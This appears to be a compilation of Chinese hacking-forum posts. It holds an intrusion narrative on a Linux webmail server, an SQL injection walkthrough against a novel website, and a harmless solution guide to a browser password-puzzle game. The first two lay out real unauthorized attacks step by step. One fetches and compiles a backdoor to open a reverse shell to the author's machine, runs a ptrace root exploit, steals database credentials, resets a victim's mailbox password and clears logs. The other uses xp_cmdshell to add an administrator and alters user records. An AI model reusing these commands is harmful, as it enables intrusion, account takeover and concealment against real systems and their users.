现在只是一个WEBSHELL环境，xx作起来及不舒服，还是先得到一个CMD下的SHELL好，找出一个LINUX的反向连接程序，这样用NC将会得到一个本地SHELL，那么LINUX来说本地溢出提升到ROOT权限不是更容易了。开始。。。
wget http://xxx.com/bd.c -O /tmp/door.c
把db.c传到TMP下改名为 door.c
注：只有对TMP目录里才有写的权限
gcc -o /tmp/door /tmp/door.c
把door.c编译
接着在PHP的SHELL里在输入
/tmp/door 211.xx.xxxx.xxx
要反弹连接到的机器IP（211.xxx.xxx.xxx为我的机器IP）
然后我在本机上开
nc -l -vv -p 4000
接着一会便出现了反弹成功的信息
uid 看了一下
接着提升权限到root
wget http://xxxx.xxx.xxxx/ptrace-kmod.c
下载到机器上
gcc -o ptrace-kmod ptrace-kmod.c
编译ptrace-kmod.c
运行ptrace-kmod
溢出成功，拿到了ROOT权限
ls -l
看到确定WEBMAIL的目录位置
然后进入到WEBMAIL的目录里ls -l
看到config.php文件
接着cat config.php
得到MYSQL的用户名为:root 密码为xxx
MAIL的数据库为webmail
好了，本地进行登陆MYSQL
mysql -u root -p
输入密码后进入了mysql
查看我需要的信箱用户xxx
select * from webmail where pw_name='xxx';
返回
----------------------------------------------------------------
pw_name pw_domain pw_passwd pw_uid pw_gid pw_gecos pw_dir
pw_shell
xxx mail.xxx.com.cn ftczP2YoArY7o 0 0 xxx /home/vp
opmail/domains/mail.xxx.com.cn/D/xxx 10485760
-------------------------------------------------------------------
看到了，我要的用户xxx的密码是 ftczP2YoArY7o，很明显是加密过的，既然加密过的，我就改他密码，然后进他的邮箱
select * from webmail where pw_name='test';
看我自己刚才注册的用户名信息
----------------------------------------------------------------
pw_name pw_domain pw_passwd pw_uid pw_gid pw_gecos pw_dir
pw_shell
test mail.xxx.com.cn ft6GFs8hTv26 0 0 test /home/vp
opmail/domains/mail.xxx.com.cn/D/xxx 10485760
-------------------------------------------------------------------
好了，看到我注册的test密码是ft6GFs8hTv26
update webmail;
update webmail set pw_passwd='ft6GFs8hTv26 ' where pw_name='xxx';
把用户名为xxx的密码改为test
顺便我也改了他的ADMIN和WEBMASTER的进去看一下，得到他的MAIL真的是没有管理员，难怪管理员没把那个申请的页面删除，还真是为了给自己用起来方便，呵呵。看完我所需要的信息后，在把他们的密码恢复。然后清除了日志，OK，此次入侵测试成功完成
对方的主机系统为linux 8.0的
上面用到的溢出代码，我都放在下再站的LINUX/exploits目录里，有需要的朋友可以自己去下。


[原创]对一个网络小说站点的Sql Injection
文章作者：EvilBogy[EST]
信息来源：中国邪恶八进制安全小组（http://www.eviloctal.com/）
本人酷爱看小说，尤其是武侠。近年来大师纷纷封笔，只好找网上的玄幻YYXX小说看了。废话少说，一天逛到一个书站，发现其URL http://www./*.net/book.asp?i=2319存在注入漏洞，而且也没有屏蔽返回信息（其实还是屏蔽了，后面就可以看到，这是开始时的错误判断），
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21'
ODBC 驱动程序不支持所需的属性。
/book.asp，行11

呵呵，真是这个INJECTION时代少见的极品啊。
加“'” 加“；” 加 and 1=1 加 and 1=2 都成功了。
下面猜表，
http://www./*.net/book.asp?i=2319 and (select count(*) from TABLE)>0 //确定表名
恩，猜到两个一个是NEWS，一个是USERS。

接下来猜字段：
http://www./*.net/book.asp?i=2319 and (select Count(FIELD) from TABLE)>0 //确定字段名
得到字段user
才获得如此少的信息远远不够，还是用“暴”力手段吧。
http://www./*.net/book.asp?i=2319 and (select count(*) from msysobjects)>0 //返回错误页面，不是ACCESS数据库。
http://www./*.net/book.asp?i=2319 and (select count(*) from sysobjects)>0 //返回成功，证明使用的是SQL数据库。
http://www./*.net/book.asp?i=2319 and (select top 1 name from sysobjects where xtype='u' and status>0)
http://www./*.net/book.asp?i=2319 and (select top 1 name from sysobjects where xtype=char(85) and status>0) //返回错误信息如下....

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21'
ODBC 驱动程序不支持所需的属性。
/book.asp，行11

.........晕，暴不出来.....

看看连接用户
http://www./*.net/book.asp?i=2319 and user>0

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e21'
ODBC 驱动程序不支持所需的属性。
/book.asp，行11

一样的结果，看来暴库可以放弃了。
用榕哥的wed.exe试试看.....
呵呵，果然厉害，得到结果如下：
user is dbo //？？怎么把SA跑出来了。
pwd is f5b527705a610f3a //晕，16位，MD5。
用工具跑一下MD5看看吧。.................漫长的等待..........期间用superscan扫描了一下网站主机.......靠...只开了21 25 80 110，那我还跑什么密码啊，还要58634792104分钟呢。用SQL连接器也连接不上。（按道理来说，使用SQL数据库是必然的，为什么扫不到1433端口呢，估计是虚拟主机，外面的IP是堡垒主机的，其内部才开放1433端口，这是我的猜想，不知道具体情况的呢，哪位能解释一下，不胜感激。）

既然外部手段不行，试试内部的吧。

http://www./*.net/book.asp?i=2319%20;exec%20master..xp_cmdshell%20"net%20user%20hkbyest 123456 /add"-- //添加用户
.......没返回错误信息，那就继续
http://www./*.net/book.asp?i=2319%20;exec%20master..xp_cmdshell%20"net localgroup administrators hkbyest /add"--
也成功了。但是连接不上机器，不知道能做什么.......
（其实我也不知道到底命令成功了没有，因为我试用命令ping我自己的ip，防火墙却没有反应）

此路不通，再找另外一条走吧。

现在我们知道了表USERS，用户字段user，密码字段pwd，还是不够，注册一个用户上去看看能不能cookie欺骗。
实践证明cookie欺骗行不通，但是我另有发现。一般大家猜表猜字段凭的多是经验，或者直接暴，有时也在注册登陆页面看源代码找，我试过了，注册和登陆页面的用户密码字段和数据库用户表里的是不一样的，可能是分开放了吧。我的发现就是在cookie里根据cookie值找字段名，嘿嘿，还真的被我找到了几个呢。
pw=1&wn=...&ui=84444&bmb=&pwd=49ba59abbe56e057&pt=&bm=100&un=hkbyest&uti=
到了现在，我分析一下思路，注入的目的是获得管理员用户密码进入后台控制网站，现在连不了1433，可以获得管理员的用户密码，但是密码被MD5加密了，暴力破解需要大量的时间，肯定不能接受。既然这样，那我们直接提升自己为管理员吧。
http://www./*.net/book.asp?i=2319 and exists (select user from users where un='hkbyest') //确定用户

http://www./*.net/book.asp?i=2319;update users set pw=100 where un='hkbyest';-- //网页下方显示已经是管理员登陆了，但是没有什么权限。估计不止一个值来判断是否管理员。那我们找一个管理员来登陆试试看看cookie里有什么不同。
修改密码：

把密码123456转换成MD5值49ba59abbe56e057

http://www./*.net/book.asp?i=2319;update users set pwd=49ba59abbe56e057 where un='hkbyest';-- //失败

http://www./*.net/book.asp?i=2319;update users set pwd='49ba59abbe56e057' where un='hkbyest';-- //WELL DONE。测试成功，下面我们可以修改管理员的密码了。
用管理员登陆后发现cookie里多了几个判断是否管理人员的值，注入到了这里基本上就可以结束了，毕竟我的目的不是获得网站控制权限。那可以使用另外的手段譬如溢出工具。
不过.............好不容易搞了那么久总不能空手而回吧，就帮自己加点积分好了，想必也不是什么过分的事情，谁叫他新的小说要用积分来看呢，嘿嘿。


对一个在线黑客解密游戏的通关分析
注意：谨以此文章献给我的父亲和母亲，感谢他们对我多年来的养育之恩。
原创声明：
中国暗域网络技术资讯站原创文章，作者 冰血封情<EvilOctal>，转载劳烦著名出处。
拙笔正文：
有一天，在鹰派论坛上看见了一个朋友发的黑客游戏帖。游戏地址http://www.my1314.com/testit/index.htm。自己玩了一下觉得很有趣，就想把攻略详细写下来给大家做个参考。其实这类破解游戏都是很落后的了，只是给大家一个启发。好了，切入正题。
(1)1-2
来到第一关的页面，地址：http://www.my1314.com/testit/index.htm，直接通过查看(&V)，源文件(&C)。可以看见如下的源代码：
以下内容为程序代码:

<html>
<head>
<NOscript><IFRame SRC=-.html></IFRame></NOscript>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>Mission 1</title>
<script language="javascript">
function CheckPassword()
{
if(document.all.password.value ==www.xxiyy.net)
window.open("test2.1207.htm","surveywin","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=610,height=400,status=yes,resizable=yes");
else
window.alert("密码错误哦！");
}
</script>
</head>
<body OnContextMenu ="return false">
<p>第一关，请输入密码进入第二关</p>
<p>密码：</p>
<input name="password" type="password" id="password">
<input type="button" name="Submit" value="确定" onClick="javascript :CheckPassword();">
</body>
</html>
看见红色部分了么？密码就http://www.xxiyy.net/，输入后点确定到第二关！
(2)2-3
第二关是个跳出来的窗口，没地址怎么办？其实在上面的红色代码部分的下面我们很容易找到第二关的地址是test2.1207.htm，这样一来我们就可以用IE直接打开第二关的页面地址http://www.my1314.com/testit/test2.1207.htm，然后故伎重演使用查看(&V)，源文件(&C)。可以看见如下的源代码：
以下内容为程序代码:
<html>
<head>
<NOscript><IFRame SRC=-.html></IFRame></NOscript>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>Mission 2</title>
<script language="javascript">
function CheckPassword()
{
if(document.all.password.value == <a href=" http://www.hackerbase.net " target=_blank>www.hackerbase.net</a>")
top.location = "test3.1153.htm";
else
window.alert("密码错误哦！");
}
</script>
</head>
<body OnContextMenu ="return false">
<p>第二关，请输入密码进入第三关</p>
<p>密码：</p>
<input name="password" type="password" id="password">
<input type="button" name="Submit" value="确定" onClick="javascript :CheckPassword();">
</body>
</html>

方法和一到二关一样，很容易可以看到密码http://www.hackerbase.net/，页面地址是http://www.my1314.com/testit/test3.1153.htm。这样我们就顺利进入第3关了。怎么样？相当简单了吧，地球人都会。呵呵……
(3)3-4
来到第三关了，老办法查看源文件，看到如下代码：
以下内容为程序代码:
<frameset rows='100%,*' frameborder='NO' border='0' framespacing='0'>
<frame src='test3.1200.htm' name='mainFrame' frameborder='no' noresize>
</frameset>
<noframes>如果你看到这个的话……很可惜，你的浏览器不让你继续玩下去了。：（
</noframes>
是人都知道，连密码验证都没看见，叫什么页啊？一定是假的。不错！仔细看看代码<frame src='test3.1200.htm' name='mainFrame' frameborder='no' noresize> ，原来真正的web在这里test3.1200.htm，添入http://www.my1314.com/testit/test3.1200.htm回车，又回到http://www.my1314.com/testit/test3.1153.htm了，哈哈看来用了转向。
这样吧，请出老土命令。在地址栏写入view-source:http://www.my1314.com/testit/test3.1200.htm回车，跳出了http://www.my1314.com/testit/test3.1200.htm的源文件。内容如下：
以下内容为程序代码:
<html>
<head>
<script language="javascript">
if(self==top)
{
top.location="test3.1153.htm";
}
</script>
<NOscript><IFRame SRC=-.html></IFRame></NOscript>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>Mission 3</title>
<script language="javascript">
function CheckPassword()
{
if(document.all.password.value == "20030927")
top.location = "test4.1131.htm";
else
window.alert("密码错误哦！");
}
</script>
</head>
<body OnContextMenu ="return false">
<p>第三关，请输入密码进入第四关</p>
<p>密码：</p>
<input name="password" type="password" id="password">
<input type="button" name="Submit" value="确定" onClick="javascript :CheckPassword();">
</body>
</html>
哈哈哈哈……果然是很土！方法同一二关一样，不详细说了。现在来看第四关http://www.my1314.com/testit/test4.1131.htm。
(4)4-5
输入地址后回车，竟然跳出要输入密码的窗口。呵……真是土。以为跳出窗口就不方便查看源文件了？老方法用view-source:http://www.my1314.com/testit/test4.1131.htm轻而易举的查看源代码。如下：
以下内容为程序代码:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>Mission 4</title>
</head>
<body OnContextMenu ="return false">
<script language="javascript">
if(window.prompt("请输入密码进入第五关：","") == "12272003")
top.location = "test5.1226.htm";
else
{
window.alert("密码错误哦！");
top.location = "error.htm";
}
</script>
<p>第四关，请输入密码进入第五关</p>
</body>
</html>

同样方法，也不再赘述。
(5)5-6
我们直接输入密码12272003来到第五关地址http://www.my1314.com/testit/test5.1226.htm！
*，竟然还是要输入密码，那么老办法用view-source:http://www.my1314.com/testit/test5.1226.htm有点象万能的感觉。嘿嘿……
可是回车后出现的是：
以下内容为程序代码:
<script>document.write(unescape("%3c%68%74%6d%6c%3e%0d%3c%68%65%61%64%3e%0d%3c%6d%65%74%61%20%68%74%74%70%2d%65%71%75%69%76%3d%22%43%6f%6e%74%65%6e%74%2d%54%79%70%65%22%20%63%6f%6e%74%65%6e%74%3d%22%74%65%78%74%2f%68%74%6d%6c%3b%20%63%68%61%72%73%65%74%3d%67%62%32%33%31%32%22%3e%0d%3c%74%69%74%6c%65%3e%4d%69%73%73%69%6f%6e%20%35%3c%2f%74%69%74%6c%65%3e%0d%3c%2f%68%65%61%64%3e%0d%3c%62%6f%64%79%20%20%4f%6e%43%6f%6e%74%65%78%74%4d%65%6e%75%20%3d%22%72%65%74%75%72%6e%20%66%61%6c%73%65%22%3e%0d%3c%70%3e%u7b2c%u4e94%u5173%uff0c%u8bf7%u8f93%u5165%u5bc6%u7801%u8fdb%u5165%u7b2c%u516d%u5173%3c%2f%70%3e%0d%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%4a%61%76%61%53%63%72%69%70%74%22%3e%0d%69%66%28%77%69%6e%64%6f%77%2e%70%72%6f%6d%70%74%28%22%u8bf7%u8f93%u5165%u5bc6%u7801%u8fdb%u5165%u7b2c%u516d%u5173%uff1a%22%2c%22%22%29%20%3d%3d%20%22%6d%69%6b%65%73%70%6f%6f%6b%22%29%0d%20%74%6f%70%2e%6c%6f%63%61%74%69%6f%6e%20%3d%20%22%74%65%73%74%36%2e%31%32%33%31%2e%68%74%6d%22%3b%0d%65%6c%73%65%0d%7b%0d%20%77%69%6e%64%6f%77%2e%61%6c%65%72%74%28%22%u5bc6%u7801%u9519%u8bef%u54e6%uff01%22%29%3b%0d%20%74%6f%70%2e%6c%6f%63%61%74%69%6f%6e%20%3d%20%22%65%72%72%6f%72%2e%68%74%6d%22%3b%0d%7d%0d%3c%2f%73%63%72%69%70%74%3e%0d%3c%2f%62%6f%64%79%3e%0d%3c%2f%68%74%6d%6c%3e%0d"));</script>
诶呀妈呀？这可怎么办？其实大家不要担心，这只不过是一种加密的方式，具体是这样的<script LANGUAGE="javascript">document.write(unescape("已加密源代码"))</SCRIP>，知道了加密方法，这里冰血封情给提供了一个解密的工具——一个张网页，大家可以到中国暗域网络技术联盟下载系统直接下载。下载后打开解密网页，按照要求把代码中红色部分直接拷贝到解密框中点解密就可以得到如下的明文：
以下内容为程序代码:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>Mission 5</title>
</head>
<body OnContextMenu ="return false">
<p>第五关，请输入密码进入第六关</p>
<script language="javascript">
if(window.prompt("请输入密码进入第六关：","") == "mikespook")
top.location = "test6.1231.htm";
else
{
window.alert("密码错误哦！");
top.location = "error.htm";
}
</script>
</body>
</html>
剩下的又是土方法，不说了。输入密码mikespook继续开进http://www.my1314.com/testit/test6.1231.htm。
(6)6-7
来到第6关，感觉是一样的，弹出密码输入窗，现在依旧老方法view-source:http://www.my1314.com/testit/test6.1231.htm，得到如下内容：
以下内容为程序代码:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>Mission 6</title>
</head>
<script language=javascript src="6.js"></script>
<body OnContextMenu ="return false">
<p>第六关，请输入密码进入第七关</p>
<script language="javascript">
if(window.prompt("请输入密码进入第七关：","") == MyDecode("ndyxx"))
top.location = MyDecode("chnc7.2003.ica");
else
{
window.alert("密码错误哦！");
top.location = "error.htm";
}
</script>
</body>
</html>
这里大家一定又想用老方法以为密码是ndyxx了？其实不是的，注意看这里<script language=javascript src="6.js"></script>，插入了什么东东呢？下来看看。
输入：http://www.my1314.com/testit/6.js下回来打开一看。内容如下：
以下内容为程序代码:
function
        MyDecode(str)
{
var c="";
var arrCodes =
        new
        Array("g","f","w","v","h","z","t","i","y","s","u","x","a","r","j","b","k","q","n","c","o","l","d","p","m","e","]","?","#","%","*","\n");
var
        arrChars = new
        Array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","<",">","/","\"","@","!");
for(i=0;i<str.length;i++)
{
bCode
        = false;
for(j=0;j<32;j++)
if(str.substr(i,
        1)==arrCodes[j])
{
c = c + arrChars[j];
bCode =
        true;
break;
}
if(bCode==false)
c = c + str.substr(i,
        1);
}
return c;
}
原来是一个小小的算法，还好没相信ndyxx这个伪劣商品。
("g","f","w","v","h","z","t","i","y","s","u","x","a","r","j","b","k","q","n","c","o","l","d","p","m","e","]","?","#","%","*","\n");
var arrChars = new Array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","<",">","/","\"","@","!");
ndyxx
可以看出来：n相对应的是s d想对应的是w y想对应的是i x想对应的是l
那么最后以次类推得出来的是swill，把swill输入可以去下一关。把弹出来的窗口移开，可以看到第七关的地址是：http://www.my1314.com/testit/test7.2003.htm
(7)7-8
老方法view-source:看第7关的代码。得到如下内容：
以下内容为程序代码:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>Mission 7</title>
</head>
<body OnContextMenu ="return false">
<p>第七关，请输入密码进入第八关</p>
<script language="Jscript.Encode">#@~^rwAAAA==@#@&kWvhbxNKhc2DK:2YvJ请输入密码进入第八关：ESrJ#,x',JAbL$kTKDsNEb@#@&7YK2R^W^CDkWU~{PEYdD% 8 l&R4YsEi@#@&nVk+@#@&P@#@&iAk NWS CVDD`E密码错误哦！ JbI@#@&7YK2R^W^CDkWU~{PE+M.KD 4YsJi@#@&)@#@&jikAAA==^#~@</script >
</body>
</html>
哇，什么乱七八糟的啊？看来又是加密了，这是个和上面那个不同的新加密方法。这个加密的方法我在我的另外一篇叫[原创]对一个网页木马的剖析文章中提起过，以上的这种代码是明显被微软的脚本编码器( SCRENC.EXE )加密过。解密工具我也已经放在中国暗域网络技术联盟下载系统了，大家可以自己下。解密后的明文如下：

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>Mission 7</title>
</head>
<body OnContextMenu ="return false">
<p>第七关，请输入密码进入第八关</p>
<script language="Jscript.Encode">
if(window.prompt("请输入密码进入第八关：","") == "BigBigWorld")
top.location = "test8.1253.htm";
else
{
window.alert("密码错误哦！");
top.location = "err)@#@&jikAAA==^#~@</script>
</body>
</html>
</html>
好了，关键代码又都出来了，也不用我们说什么，直接来下面一关。
(8)8-通关
输入密码BigBigWorld来到http://www.my1314.com/testit/test8.1253.htm。
这次我们连网页都不用看直接使用view-source:http://www.my1314.com/testit/test8.1253.htm看第八关的源代码！
以下内容为程序代码:
<script language="Jscript.Encode">#@~^kwsAAA==[Km;s+ YRSDbO+vEU+kmC2`Jufmuv%u{*]+Nuv^]fnu![]2^]+%Yl]vqY+cY&YZNY2muvNuvlYGW]Fu TY+%]F*]Fc]FTY 9]+*YGqYF*YvOYG+]f[u Y*2]0u]{W]+*]++u{cu []lcY{O]GZYvl] yY+!uv2]0Y]{cu*uvnYFc]f[u +]F*uvXuGR]GW]yW]+%YGW][uvmuf4u !uf]+%uvq]{+uGf]+X]FcYf9]v{Y+ Y&yY2&Y2Fu& u yY&]TNu&^YFc]+1]Fc]+^Yvl]2+Yc[Y+,YG2YG2]1uv0Y]+!ufR]f1]y0]Fcu,uG*]+mYl]&Y!9]&1Y+0uvR]*Y8]cuf+u![Y2m]+uvW]+*uG1u Z] Z]WW]++Yc2]Wuv+u{cuv*u{0]Fcuc[]Xuvn]FX]y!Yf9] +YF YvlYFcYF*uG uvY Z]vuvqY+m]Ff]+*]y+Y&]ZNY&^YF!Y&YEF4+^uE*q(];*8{2]f1]y0]F!uf+u![]2mY{2]v2YGy]vOY{!uGW]+!Y1]Fu+uv{YF*]quv{]+Xu&[u y]cm]+q]FvYv8]Xfuv&u{ uv,u{T]Fcu +]fnu![]+]F*Y]vfYFcYvOY+0Y++u !uc9YGO]*cuvXY+&]+W]+c]+XY R]F&YG*YF Y OY!9]{8u!NY+Z]{vu8]{y]y!]+&ufNu +]y Yf(]!9Y Z]G+YFuGy]+!Y8]{ u{ ucfY+0]*uvX]Ffu Tu&9] Z]+n]+*YGF]+TucFu{ uG uq]F,u 0]++uv{]y+]ymY+y]vYy Y 1Yy YFGu u 1Y y]{vu +Yym]y+]+%]y+Y 1]y YGCYy Y 1Y y]{*u Y+1]+ uO]+y]ym]y u{,u +]ymY+y]G2Y y] 1Y+ uGl]+ Y+1]+ u{%u +Yym]++uvq]y+u ^u y]Gy]y+]ymY y]Cu u+mu u+]y u ^]++uv8]y+]ymY+y]GqYy Y 1Yy Y++u u 1Y y]&u +Yym]y+]+0]y+Y 1]y Yv^Yy Y 1Y y]*u Y+1]+ u{Z]+y]ym]y uNu +]ymY+y]vlY y] 1Y+ u*9]+ Y+1]+ uf0u +Yym]++u f]y+u ^u y] l]y+]ymY y]+Cu u+mu uX^]++u +]+1u&8]Z[]y!Y{+]vqYF Y ZY+FYF uG uc2YvR]FuG+YF&]yT]2N]yTYv]+*YG{Yy!Yc8YGy]{+uvFY{O]+%u+y]8]y ]ymu+ uv+]y Y+1] yYv2] yY+mu y]cY+y]+mu+ uvXYy ]+^u +]+u +u 1] y]+{]y Y 1]++uv%u+ u mu++]+,u +]+^u +]+C]y Y+1] +Y+4Y yYymYy uvmu yY 1]+ uv[Yy ]y^]y ]+nY y]ymY +Y+0Y yY 1]++uG!Y+y]+mu+y]{8]y ]ymu+ uG+]y Y+1] yYG2] yY+mu y]{cY+y]+mu+ uGXYy ]+^u +]Fu +u 1] y]F{]y Y 1]++uG%u+ u mu++]F,u +]+^u +]FC]y Y+1] +Y2mY yYymYy u&+u yY 1]+ u WYy ]y^]y ]l^Y y]y Y ^Yy YcZY y]+^u Y+8]+ u+O]f(]ZN]y!uvuvW]F Y+R]vOY&9]&ZYf4uvO]fmY{2]{cu{ u nY+m]Xuvn]+{uG*uvR]&(]+1]y4Y (]+1u!Nu+!uG4uT[]y!uv+]*fuvW]+*]+*Y+Z]&[Yy!Yv+Y+FY+muG&uvlY&(]TNu TY+v]+W]F ]y0Yvm]2NY&TY24YvmY&1]ffu& Yf(]lu+(]+(]y,]ZNu+!uv1]+vY+R]G2YGW]GyY++uG2]{*Yy]{&u{cuG+Yy%]1u ^]yTu&qu O]&9]2[]+FYGy]{+uc&u0uvcuX]F&u*8]Cu*[]y1]ZNY+Z]G8YZNY ZY+&Yy!u&Nu ZYv2]+!u 8Yy!]+q]F ]F+Yc2]+%YvqYF YG2Y*(]Cu*NYf(]TNu+Z]y]W&]+0ucuvX]y!Yf9] ZYGW]GyY{*uvl]f4YT9]+!u uG+Y+*]quv8]28u![u Z]G9]Z[]y!YvO]u %u uc&uW]+cuvX]f[u&[]+]+FY1]GfY+*Y OYZNYy!uv&u ZY&9]+!uvfYy!]y8]y!]FfYGW]F Y nYF&YGlYvy]{fuGcY{y]+%uO]+1]y!]2Fu+,u&8]ZNY+Z]G9Y!9] ZY{ uvl]{cY{l]{ u+u TY+&]f8u![]F[u![uvO]v+]y0]FGYvO]nuvcu0uGGu+n]F!uG+]Wuv[]FT]FcY+R] +Y!%80FY!%WO&uE*8vlYEl4^vuE{0ZF]!X4Rm]!+FZ]!v+cTY!v{!OYElF{fuE*f8];06qm]+y]ym]y u+ u 1]y!Yf9]&9Y Z]c9Y{,ucW]*Y2]0ucuvXYy%]++u**]+0uvnuv2]GO]+n]+lYv1]0uGFu+ u ,u+1]ZNu T]*uvW]+f]F*Y9]vXY++YGWYy+YFGuG uvOYGW]*u 0Yy ]!!+N]!XX,1]!0W!^Y!cWvZYElNW+uEGn^6];*(01];+ 8!]!*8%uE1!%Y;lFG2YEl&v8Y;06!8]+ Y+O]f4uTNuvXY+m]{fuvX]Z[uG8u!9] Z]F{]+,Yv]*uv0u{Gu +uq]+muvX]{+uG*]y0]y Y;l4mY!G0!8Y!,X8,uE%(+6YElcnvuEWWZF]y+]y,]28Y!9]y!YG*Y+0YGZY ]^uv0Y2]Fu{W]O]+0]++u+!u&[]y!Y+y]vlYGy]GyY0uGy]++YR]{cuNu +Y24]T[uG[]Z[u&^u 6]G2]+f]F YvO]{TuGcuf+u!Nuf^]y0uv+]Wuv*]F1]2+YT9]&^Yy0YvRYFcY+Nuvmu&Y!9Jb#p924CAA==^#~@</script>
怎么又来了？按照第七关的方法解密后得到：
以下内容为程序代码:
<script language="Jscript.Encode">document.write(unescape("%3c%68%74%6d%6c%3e%0d%3c%68%65%61%64%3e%0d%3c%6d%65%74%61%20%68%74%74%70%2d%65%71%75%69%76%3d%22%43%6f%6e%74%65%6e%74%2d%54%79%70%65%22%20%63%6f%6e%74%65%6e%74%3d%22%74%65%78%74%2f%68%74%6d%6c%3b%20%63%68%61%72%73%65%74%3d%67%62%32%33%31%32%22%3e%0d%3c%74%69%74%6c%65%3e%4d%69%73%73%69%6f%6e%20%38%3c%2f%74%69%74%6c%65%3e%0d%3c%2f%68%65%61%64%3e%0d%3c%62%6f%64%79%20%20%4f%6e%43%6f%6e%74%65%78%74%4d%65%6e%75%20%3d%22%72%65%74%75%72%6e%20%66%61%6c%73%65%22%3e%0d%3c%70%3e%u7b2c%u516b%u5173%3c%2f%70%3e%0d%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%4a%61%76%61%53%63%72%69%70%74%22%3e%0d%66%75%6e%63%74%69%6f%6e%20%4d%79%44%65%63%6f%64%65%28%73%74%72%29%0d%7b%0d%20%76%61%72%20%63%3d%22%22%3b%0d%20%76%61%72%20%61%72%72%43%6f%64%65%73%20%3d%20%6e%65%77%20%41%72%72%61%79%28%22%67%22%2c%22%66%22%2c%22%77%22%2c%22%76%22%2c%22%68%22%2c%22%7a%22%2c%22%74%22%2c%22%69%22%2c%22%79%22%2c%22%73%22%2c%22%75%22%2c%22%78%22%2c%22%61%22%2c%22%72%22%2c%22%6a%22%2c%22%62%22%2c%22%6b%22%2c%22%71%22%2c%22%6e%22%2c%22%63%22%2c%22%6f%22%2c%22%6c%22%2c%22%64%22%2c%22%70%22%2c%22%6d%22%2c%22%65%22%2c%22%5d%22%2c%22%3f%22%2c%22%23%22%2c%22%25%22%2c%22%2a%22%2c%22%5c%6e%22%29%3b%0d%20%76%61%72%20%61%72%72%43%68%61%72%73%20%3d%20%6e%65%77%20%41%72%72%61%79%28%22%61%22%2c%22%62%22%2c%22%63%22%2c%22%64%22%2c%22%65%22%2c%22%66%22%2c%22%67%22%2c%22%68%22%2c%22%69%22%2c%22%6a%22%2c%22%6b%22%2c%22%6c%22%2c%22%6d%22%2c%22%6e%22%2c%22%6f%22%2c%22%70%22%2c%22%71%22%2c%22%72%22%2c%22%73%22%2c%22%74%22%2c%22%75%22%2c%22%76%22%2c%22%77%22%2c%22%78%22%2c%22%79%22%2c%22%7a%22%2c%22%3c%22%2c%22%3e%22%2c%22%2f%22%2c%22%5c%22%22%2c%22%40%22%2c%22%21%22%29%3b%0d%20%66%6f%72%28%69%3d%30%3b%69%3c%73%74%72%2e%6c%65%6e%67%74%68%3b%69%2b%2b%29%0d%20%7b%0d%20%62%43%6f%64%65%20%3d%20%66%61%6c%73%65%3b%0d%20%66%6f%72%28%6a%3d%30%3b%6a%3c%33%32%3b%6a%2b%2b%29%0d%20%69%66%28%73%74%72%2e%73%75%62%73%74%72%28%69%2c%20%31%29%3d%3d%61%72%72%43%6f%64%65%73%5b%6a%5d%29%0d%20%7b%0d%20%63%20%3d%20%63%20%2b%20%61%72%72%43%68%61%72%73%5b%6a%5d%3b%0d%20%62%43%6f%64%65%20%3d%20%74%72%75%65%3b%0d%20%62%72%65%61%6b%3b%0d%20%7d%0d%20%69%66%28%62%43%6f%64%65%3d%3d%66%61%6c%73%65%29%0d%20%63%20%3d%20%63%20%2b%20%73%74%72%2e%73%75%62%73%74%72%28%69%2c%20%31%29%3b%0d%20%7d%0d%20%72%65%74%75%72%6e%20%63%3b%0d%7d%0d%69%66%28%77%69%6e%64%6f%77%2e%70%72%6f%6d%70%74%28%22%u8bf7%u8f93%u5165%u5bc6%u7801%u5b8c%u6210%u6240%u6709%u5173%u5361%uff1a%22%2c%22%22%29%20%3d%3d%20%4d%79%44%65%63%6f%64%65%28%22%54%68%6e%63%79%6e%6a%6c%68%71%22%29%29%0d%20%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%22%u606d%u559c%uff0c%u4f60%u5df2%u7ecf%u5b8c%u6210%u5168%u90e8%u5173%u5361%uff01%22%29%3b%0d%65%6c%73%65%0d%7b%0d%20%77%69%6e%64%6f%77%2e%61%6c%65%72%74%28%22%u5bc6%u7801%u9519%u8bef%u54e6%uff01%22%29%3b%0d%20%74%6f%70%2e%6c%6f%63%61%74%69%6f%6e%20%3d%20%22%65%72%72%6f%72%2e%68%74%6d%22%3b%0d%7d%0d%3c%2f%73%63%72%69%70%74%3e%0d%3c%2f%62%6f%64%79%3e%0d%3c%2f%68%74%6d%6c%3e%0d"));</script>
还是密文？有点垂死挣扎的感觉，呵……再按照第六关的解密方法，得出：
以下内容为程序代码:
<html>
<head>
<meta
        http-equiv="Content-Type" content="text/html;
        charset=gb2312">
<title>Mission
        8</title>
</head>
<body OnContextMenu ="return
        false">
<p>第八关</p>
<script
        language="javascript">
function MyDecode(str)
{
var
        c="";Thncynjlhq:gestisover
var arrCodes = new
        Array("g","f","w","v","h","z","t","i","y","s","u","x","a","r","j","b","k","q","n","c","o","l","d","p","m","e","]","?","#","%","*","\n");
var
        arrChars = new
        Array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","<",">","/","\"","@","!");
for(i=0;i<str.length;i++)
{
bCode
        = false;
for(j=0;j<32;j++)
if(str.substr(i,
        1)==arrCodes[j])
{
c = c + arrChars[j];
bCode =
        true;
break;
}
if(bCode==false)
c = c + str.substr(i,
        1);
}
return c;
}
if(window.prompt("请输入密码完成所有关卡：","") ==
        MyDecode("Thncynjlhq"))
document.write("恭喜，你已经完成全部关卡！");
else
{
window.alert("密码错误哦！");
top.location
        =
        "error.htm";
